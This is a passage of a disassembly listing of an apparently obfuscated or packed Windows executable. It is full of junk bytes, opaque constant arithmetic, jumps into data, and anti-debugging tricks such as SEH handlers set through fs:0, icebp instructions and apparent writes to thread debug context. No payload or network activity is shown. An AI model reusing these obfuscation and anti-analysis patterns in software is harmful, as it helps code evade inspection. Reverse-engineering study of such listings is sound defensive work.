loc_43C4D8 sub_43DE71 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DE86: ; CODE XREF: sub_439ED1+41C2j mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_43DE5A ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 dd 0F2840F00h, 0FFFF97h, 0FFC6B0E9h, 570000FFh, 0FF97E2E9h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DEB1: ; CODE XREF: sub_439ED1:loc_43EDF2j add [ecx], al push esi push 4838B9AEh pop esi jmp loc_439874 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43DEC2: ; CODE XREF: sub_43C65A+160j jmp loc_438E63 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DEC9: ; CODE XREF: sub_439ED1+1951j jmp loc_43AEFA ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DECF: ; CODE XREF: sub_439ED1+EA4j jmp loc_43B0FD ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- loc_43DED4: ; CODE XREF: _802izwe5:loc_43E565j mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax push eax jmp loc_4398DE ; --------------------------------------------------------------------------- dd 79C68100h, 8114A971h, 7286E9F6h, 99C68174h, 0E83D8896h dd 0FFFF9CD0h ; --------------------------------------------------------------------------- loc_43DF04: ; CODE XREF: _802izwe5:0043C476j jmp loc_4389D6 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43DF0B: ; CODE XREF: _802izwe5:0043CE58j jz near ptr dword_437B54+58h add edx, 4084664Dh jmp near ptr dword_43909C+15h ; --------------------------------------------------------------------------- dd 0CC8B0000h, 0A69C6850h, 8158757Ch, 9DD605F0h, 0C9E08144h dd 0E9C911D4h, 0FFFFF009h db 0 ; --------------------------------------------------------------------------- loc_43DF39: ; CODE XREF: _802izwe5:00439E76j call near ptr sub_43D573 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- loc_43DF40: ; CODE XREF: _802izwe5:0043E5FCj jmp loc_43F792 ; --------------------------------------------------------------------------- align 2 loc_43DF46: ; CODE XREF: _802izwe5:00439991j jmp locret_43C859 ; --------------------------------------------------------------------------- locret_43DF4B: ; CODE XREF: _802izwe5:loc_43ED49j retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C99E loc_43DF4D: ; CODE XREF: sub_43C99E+25j jmp near ptr dword_437B04+0Bh ; END OF FUNCTION CHUNK FOR sub_43C99E ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DF54: ; CODE XREF: sub_439ED1+16Fj jmp near ptr byte_438391+2 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- loc_43DF59: ; DATA XREF: sub_43C604:loc_43E6EFo call ds:dword_427104 ; MessageBoxA mov esp, ebp xchg edi, [esp] mov ebp, edi pop edi retn ; =============== S U B R O U T I N E ======================================= sub_43DF68 proc near ; CODE XREF: _802izwe5:00438E0Ep push 437A7Fh jmp nullsub_42 sub_43DF68 endp ; --------------------------------------------------------------------------- align 4 mov esi, [ebp+0] ; =============== S U B R O U T I N E ======================================= sub_43DF77 proc near ; CODE XREF: sub_439ED1+1F0p xchg eax, [esp+0] pop eax push edi mov edi, 4398C5h jmp near ptr dword_4397AC+14h sub_43DF77 endp ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43DF87: ; CODE XREF: _802izwe5:loc_43C4C0j add ecx, 18h mov al, [ecx] add ecx, 9Ch add [ecx], al jmp near ptr dword_437814+1 ; --------------------------------------------------------------------------- dd 3B9D0000h, 0D703E9D6h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_43DFA7: ; CODE XREF: _802izwe5:00439645j pop esi retn ; --------------------------------------------------------------------------- align 4 off_43DFAC dd offset sub_43FB9C ; DATA XREF: _802izwe5:loc_43DD8Br ; --------------------------------------------------------------------------- loc_43DFB0: ; CODE XREF: _802izwe5:00439285j jmp loc_43ABCA ; --------------------------------------------------------------------------- align 4 dd 116h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A6E loc_43DFBE: ; CODE XREF: sub_438A6E+23A2j jmp loc_43E422 ; END OF FUNCTION CHUNK FOR sub_438A6E ; --------------------------------------------------------------------------- align 4 dword_43DFC4 dd 47BC58D2h ; sub_43DD0C+4r ; --------------------------------------------------------------------------- rol ebp, 1 jmp loc_43F163 ; --------------------------------------------------------------------------- align 10h dd 24148700h, 0C0339D5Ah, 0FF9479E9h, 0C13B00FFh, 0FFF81EE9h db 0FFh ; --------------------------------------------------------------------------- loc_43DFE5: ; CODE XREF: _802izwe5:loc_439EA4j mov byte ptr [eax], 8Dh xchg esi, [esp] mov eax, esi pop esi call sub_43F3B2 ; --------------------------------------------------------------------------- db 0 dd 0F232E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43DFFA: ; CODE XREF: sub_439ED1+445Ej add esi, 6B32DBB1h xor esi, 5BE9977h js loc_437722 jmp loc_43A740 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 dw 0D53Bh dd 0FFC4EBE9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E01B: ; CODE XREF: _802izwe5:loc_439BD6j ; sub_439ED1+757j jnz loc_43B5BF jmp loc_43DCF0 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43E027: ; CODE XREF: _802izwe5:0043D22Cj add edx, 30h mov eax, [ebp-10h] mov [ebp+eax-20h], dl push 0E420B08Eh pop eax jmp loc_43FA0F ; --------------------------------------------------------------------------- ror ebx, 17h jmp sub_43E4D7 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E045: ; CODE XREF: sub_439ED1+A20j add ecx, 9Ch add [ecx], al add ecx, 4 mov dword ptr [ecx], offset loc_437D59 xor eax, eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E05F: ; CODE XREF: sub_439ED1+4644j jmp loc_43B216 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_43E066 proc far ; CODE XREF: sub_43D40Dp ; FUNCTION CHUNK AT 0043EDE1 SIZE 00000005 BYTES push dword ptr fs:0 jmp loc_43EDE1 sub_43E066 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E071: ; CODE XREF: sub_439ED1+807j mov al, [ebp+eax-20h] call near ptr dword_4379FC+12h ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 0 dd 0FFA758E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E083: ; CODE XREF: sub_439ED1+76Aj mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_43DE86 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 819C0000h, 3A1A2CC0h, 6CE881B7h, 81348C23h, 77A9C0C0h dd 0AB3BE825h, 0E900FFFFh, 0FFFFA049h, 7AE90000h, 0FFFFB5h ; --------------------------------------------------------------------------- loc_43E0C0: ; CODE XREF: _802izwe5:00438E17j pop ecx pop edi call near ptr loc_43F494+1 ; START OF FUNCTION CHUNK FOR sub_438989 loc_43E0C7: ; CODE XREF: sub_438989+30Fj jmp loc_43DB65 ; END OF FUNCTION CHUNK FOR sub_438989 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43E0CD: ; CODE XREF: _802izwe5:004382A2j jmp loc_4380C8 ; --------------------------------------------------------------------------- align 4 dd 0D9E8E951h, 8100FFFFh, 0E28512D9h, 9689E908h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E0E8: ; CODE XREF: sub_439ED1+121j push edi mov edi, ecx xchg edi, [esp-0Ch+arg_8] jmp near ptr dword_4394A0+2 ; --------------------------------------------------------------------------- loc_43E0F3: ; CODE XREF: sub_439ED1+13A4j push ecx jmp loc_439954 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E0FA: ; CODE XREF: sub_439ED1+2670j push edi push 735000C2h pop edi rol edi, 2 xor edi, 0D4130585h call sub_43D8B1 jmp loc_43C923 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- locret_43E114: ; CODE XREF: _802izwe5:loc_43732Bj retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E117: ; CODE XREF: sub_439ED1+4EF7j jmp near ptr dword_437548+6Eh ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 0A361E900h, 0FFFFh, 0F1CCEC1h, 0FFFF9384h, 56860FFFh dd 0E9000014h, 0FFFFBA17h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D66E loc_43E13A: ; CODE XREF: sub_43D66E:loc_43F231j adc [esi+esi*8+57000008h], al push 0FF0971FEh pop edi call near ptr dword_437B44+1 jmp loc_43CD1F ; END OF FUNCTION CHUNK FOR sub_43D66E ; --------------------------------------------------------------------------- ror eax, 3 jmp sub_43D600 ; --------------------------------------------------------------------------- align 2 loc_43E15A: ; CODE XREF: sub_43C4C7+Cp xchg esi, [esp] pop esi ; --------------------------------------------------------------------------- dw 0CC36h dd 0C608890Fh, 0D5F7FFFFh, 0FFAD4FE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E16E: ; CODE XREF: sub_439ED1+F86j push 0BC4CEF77h pop edx or edx, 41F711E8h xor edx, 0FDFFFFFBh add ecx, edx pop edx mov [ecx], eax push esi jmp loc_438877 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 5Fh dd 0FFA6D7E9h, 810000FFh, 62AA34FFh, 9C50E9A3h, 0FFFFh ; CODE XREF: _802izwe5:loc_43F921j ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E9D9 loc_43E1A0: ; CODE XREF: sub_43E9D9+13j popf mov byte ptr [eax], 5Dh inc dword ptr [ebp-8Ch] push 9FE58264h pop eax jmp loc_43BB8B ; END OF FUNCTION CHUNK FOR sub_43E9D9 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E1B7: ; CODE XREF: sub_439ED1:loc_43A91Aj pop ebx popf call loc_43A75E add cl, ch movsb cli ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E1C6: ; CODE XREF: sub_439ED1+164Bj jmp loc_43F782 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- leave mov eax, 0FFFFh loc_43E1D2: ; CODE XREF: _802izwe5:00437CD4j jmp loc_437E3F ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_43E1D9: ; CODE XREF: _802izwe5:0043AF74j add eax, 4DFE0E26h call near ptr sub_43D66E ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E1E4: ; CODE XREF: sub_439ED1+43AFj jmp loc_43A0B3 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439E45 loc_43E1EA: ; CODE XREF: sub_439E45+Cj jmp near ptr dword_4383B0 ; END OF FUNCTION CHUNK FOR sub_439E45 ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43E1F1: ; CODE XREF: sub_43C65A-37B6j jmp loc_43BFA6 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 4 loc_43E1F8: ; CODE XREF: _802izwe5:loc_4385E2j add ecx, 0A0h mov dword ptr [ecx], offset loc_43DE14 xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43E209: ; CODE XREF: _802izwe5:0043F49Cj jmp loc_43B649 ; --------------------------------------------------------------------------- align 10h jmp loc_43E809 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43E216: ; CODE XREF: sub_43C65A+D3j jmp loc_43BBA9 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 4 dd 0FFB7B0E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_43E223: ; CODE XREF: _802izwe5:00438304j jmp loc_43963B ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_43E22A proc near ; CODE XREF: _802izwe5:0043726Cp ; FUNCTION CHUNK AT 00438013 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043940F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043DE14 SIZE 0000001D BYTES push dword ptr fs:0 jmp loc_438013 sub_43E22A endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43E237: ; CODE XREF: _802izwe5:loc_43BEA0j pop edi jmp loc_43E92C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E23D: ; CODE XREF: sub_439ED1:loc_439944j pushf push edi call sub_43DB2C add [edi+3487241Ch], al and al, 8Bh ficomp word ptr [esi-64h] jmp loc_43BE15 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43E255: ; CODE XREF: _802izwe5:0043BDE1j jp near ptr unk_439213 ; =============== S U B R O U T I N E ======================================= sub_43E25B proc near ; CODE XREF: sub_439ED1-16CCp xchg ecx, [esp+0] pop ecx push edi jmp near ptr dword_437428+27h sub_43E25B endp ; --------------------------------------------------------------------------- add ecx, ebp jmp loc_43F962 ; --------------------------------------------------------------------------- dd 0ED58E99Ch, 0E99CFFFFh, 0FFFFD860h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E278: ; CODE XREF: sub_439ED1+7Fj mov byte ptr [ecx], 8Ah pop ecx pop ecx rol ecx, 0Ch jmp loc_43E1E4 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- test eax, 0A1DD2D2Bh jmp loc_439C0D ; --------------------------------------------------------------------------- dd 8B500000h, 240487C1h, 0FFF274E9h db 0FFh, 0 word_43E29E dw 0CC67h ; CODE XREF: sub_439ED1+1B3Ej ; --------------------------------------------------------------------------- jmp loc_438F4C ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h ; --------------------------------------------------------------------------- loc_43E2A8: ; CODE XREF: _802izwe5:loc_43B3ABj test edi, 8000h jmp loc_43CD97 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E2B4: ; CODE XREF: sub_439ED1:loc_43A231j db 66h icebp jmp loc_43B3E2 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= sub_43E2BD proc near ; CODE XREF: sub_439ED1+5699p push dword ptr fs:0 mov fs:0, esp jmp near ptr dword_437428+0BFh sub_43E2BD endp ; --------------------------------------------------------------------------- align 10h loc_43E2D0: ; CODE XREF: _802izwe5:0043F180j add [ecx], al push edx push 3AD19309h pop edx jmp near ptr dword_438AC4+16h ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43E2DF: ; CODE XREF: _802izwe5:0043E945j add eax, ebp add eax, 0E15CE1C6h mov eax, [eax] popf jmp near ptr loc_439E1F+1 ; --------------------------------------------------------------------------- align 10h dd 4F0E800h, 12E90000h, 0FFFFC3h ; CODE XREF: _802izwe5:0043F7AAj ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E2FC: ; CODE XREF: sub_439ED1:loc_43F9B9j call loc_43A67F jmp loc_43F58E ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 loc_43E308: ; CODE XREF: _802izwe5:loc_43E69Bj pop eax push ebx mov ebx, offset byte_43FA05 jmp loc_43B95A ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E316: ; CODE XREF: sub_439ED1:loc_439032j xor eax, eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax push esi push 667F470Eh pop esi jmp loc_43DFFA ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 byte_43E335 db 99h, 27h, 0F9h ; DATA XREF: sub_439ED1+DB7o dd 8E016857h, 815FBB3Ch, 0B9F004F7h, 64CF8148h, 815A9E2Dh dd 0B9CC29F7h, 0E618E97Ch, 0FFFFh, 0C6E9995Bh, 0FFFFE6h ; --------------------------------------------------------------------------- loc_43E360: ; CODE XREF: _802izwe5:00439AAEj not ebp jmp near ptr byte_437D55+2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43E367: ; CODE XREF: sub_43C65A+2F8j push ecx jmp near ptr loc_43B39D+1 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- db 2 dup(0), 0F7h ; --------------------------------------------------------------------------- mov byte ptr [ebp-166BBC92h], 8Dh adc al, [eax] add [eax+34h], ch dec esi imul byte ptr [edx-17h] mov eax, ds:0FFFFD3h ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E385: ; CODE XREF: sub_439ED1:loc_43A129j mov byte ptr [esi], 0FFh pop esi push esi push 26937DAFh jmp loc_43AFF4 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E395: ; CODE XREF: sub_439ED1+1C3j mov byte ptr [ecx], 8Bh pop ecx push ebp mov ebp, ebx xchg ebp, [esp-14h+arg_C] mov ebx, offset word_43D9BA jmp loc_43BE23 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- push edx push 0FAED9813h pop edx add edx, 0BC4AEFFCh or edx, 165D199Ah sub edx, 79D07C18h jmp loc_43EBC7 ; --------------------------------------------------------------------------- align 4 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_30. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- loc_43E3CB: ; CODE XREF: _802izwe5:00439097j jmp loc_43B47F ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E3D1: ; CODE XREF: sub_439ED1-19C7j jmp loc_43E61F ; END OF FUNCTION CHUNK FOR sub_439ED1 ; =============== S U B R O U T I N E ======================================= sub_43E3D6 proc near ; DATA XREF: sub_43C65A+1FFEo arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00437C71 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 004394F4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BC55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D3AF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DC63 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EC1C SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043F389 SIZE 0000000A BYTES pop dword ptr fs:0 xchg eax, [esp+0] pop eax mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_43BC55 sub_43E3D6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9, 0D2h, 0Fh dd 0FFC58584h, 0DA8FE9FFh, 0FFFFh, 1AE9DE33h, 23000006h db 0F7h ; =============== S U B R O U T I N E ======================================= sub_43E40D proc near ; CODE XREF: sub_43844A+10p ; FUNCTION CHUNK AT 004378F7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CA05 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043F511 SIZE 00000011 BYTES xchg ebx, [esp+0] pop ebx push 0DEEAF1F5h push esi push 334000EFh pop esi jmp loc_43CA05 sub_43E40D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A6E loc_43E422: ; CODE XREF: sub_438A6E:loc_43DFBEj mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h jmp loc_43F926 ; END OF FUNCTION CHUNK FOR sub_438A6E ; --------------------------------------------------------------------------- align 4 dd 10E36800h, 815ABB68h, 1972B4EAh, 0F6C28174h, 0E9B8F50Dh dd 99Ch db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E454: ; CODE XREF: sub_439ED1+EEAj jmp loc_43CE24 ; --------------------------------------------------------------------------- loc_43E459: ; CODE XREF: sub_439ED1+D5Ej jmp near ptr sub_43D7EE ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E460: ; CODE XREF: sub_439ED1+5FBj jmp loc_43D0A9 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 word_43E466 dw 0F081h ; DATA XREF: sub_439ED1:loc_4392FAo dd 0B168404Fh, 0C081C503h, 0EF08BFE2h, 0FFEE51E8h, 0D983E9FFh dd 0FFFFh, 5FFC07C6h, 0AD51F281h, 689D2B37h, 43EF21h, 0FF9115E9h db 0FFh ; --------------------------------------------------------------------------- loc_43E495: ; CODE XREF: _802izwe5:00438DCFj ; _802izwe5:loc_43BE36j jmp loc_43BFAD ; --------------------------------------------------------------------------- align 4 loc_43E49C: ; CODE XREF: _802izwe5:00438DC9j push esi push 0C095E144h pop esi and esi, 0BC29069Fh jmp near ptr dword_43718C+92h ; --------------------------------------------------------------------------- db 0 byte_43E4AF db 81h ; DATA XREF: sub_439ED1:loc_43DE3Bo dd 0D164F7F1h, 0F79969A5h, 0FB37E9F9h, 0FFFFh ; --------------------------------------------------------------------------- loc_43E4C0: ; CODE XREF: _802izwe5:0043C22Ej js loc_43A289 ; =============== S U B R O U T I N E ======================================= sub_43E4C6 proc near ; CODE XREF: sub_439ED1-164Cp ; FUNCTION CHUNK AT 0043BAD1 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi inc dword ptr [ebp-4] cmp dword ptr [ebp-10h], 0 jmp loc_43BAD1 sub_43E4C6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_43E4D7 proc near ; CODE XREF: _802izwe5:0043E03Fj ; sub_439ED1:loc_43EC04p ; FUNCTION CHUNK AT 00439BCB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043B35D SIZE 00000005 BYTES xchg ecx, [esp+0] xchg ebx, [esp+0] mov ecx, ebx pop ebx lodsb push edx mov edx, offset byte_43B0B7 jmp loc_43B35D sub_43E4D7 endp ; --------------------------------------------------------------------------- dd 0E9CCF000h, 0FFFFE33Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_43E4F6: ; CODE XREF: _802izwe5:0043AF38j jp loc_43B176 jmp near ptr word_437796+1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E503: ; CODE XREF: sub_439ED1+E80j mov al, [ecx] push edx push 4315D8F7h pop edx sub edx, 4E6A6EDAh rol edx, 0Eh jmp loc_43E05F ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_43E51B proc far ; CODE XREF: _802izwe5:00439A11p xchg edx, [esp+0] pop edx push 7603CFB3h pop ebx xor ebx, 0D7CFE9B2h jmp loc_43A225 sub_43E51B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43E530 proc near ; CODE XREF: _802izwe5:loc_43B714p ; _802izwe5:0043D330j xchg eax, [esp+0] pop eax push 437917h jmp nullsub_33 sub_43E530 endp ; --------------------------------------------------------------------------- align 10h xchg ecx, [esp] xchg esi, [esp] mov ecx, esi pop esi mov [edi], eax pop edi popf jmp loc_43AA89 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43E553: ; CODE XREF: _802izwe5:0043F79Dj call sub_43DC98 jmp loc_43E6A0 ; --------------------------------------------------------------------------- loc_43E55D: ; CODE XREF: _802izwe5:00439816j mov [ecx], eax call sub_43CA25 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43E565: ; CODE XREF: _802izwe5:00438D0Fj jmp loc_43DED4 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E56B: ; CODE XREF: sub_439ED1:loc_43A928j mov ecx, esp add ecx, 10h mov ecx, [ecx] loc_43E575: ; CODE XREF: _802izwe5:loc_43CBEEj mov dword ptr [ecx], 10013h jmp loc_43AF86 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F18B loc_43E582: ; CODE XREF: sub_43F18B:loc_4383FAj test esi, edx jmp loc_43C5E4 ; END OF FUNCTION CHUNK FOR sub_43F18B ; --------------------------------------------------------------------------- align 2 loc_43E58A: ; CODE XREF: _802izwe5:004392B9j lock icebp jmp loc_43E94C ; --------------------------------------------------------------------------- align 2 locret_43E592: ; CODE XREF: _802izwe5:00438ABBj retn ; --------------------------------------------------------------------------- loc_43E593: ; CODE XREF: _802izwe5:0043D658j jmp loc_43F61C ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E599: ; CODE XREF: sub_439ED1+23C7j jmp loc_43F5D6 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43E59F: ; CODE XREF: sub_43C65A:loc_43CAB0j add ecx, 4 mov [ecx], eax push edi push 883207C4h pop edi jmp loc_43CC2B ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_43BFFF loc_43E5B4: ; CODE XREF: sub_43BFFF:loc_439A17j mov ecx, esp push eax push 7960F582h pop eax or eax, 0A444C514h add eax, 5C272EF1h jmp loc_43F6F8 ; END OF FUNCTION CHUNK FOR sub_43BFFF ; --------------------------------------------------------------------------- align 10h dd 0FD4A8D0Fh, 6467FFFFh, 68Fh, 58240487h, 0FFEDF2E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_43E5E6: ; CODE XREF: _802izwe5:loc_43AFE6j add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp loc_43DF40 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E602: ; CODE XREF: sub_439ED1+933j or eax, 0FE981D05h add eax, 89A638h scasb xchg eax, [esp+0] jmp near ptr word_439EAE+1 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 52h dd 0FFC421E9h db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43E61F: ; CODE XREF: sub_439ED1:loc_43E3D1j add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 0A0h mov dword ptr [ecx], 437195h xor eax, eax jmp loc_438DE0 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43E642: ; CODE XREF: sub_43C65A-37E7j add ecx, 18h mov al, [ecx] add ecx, 9Ch add [ecx], al add ecx, 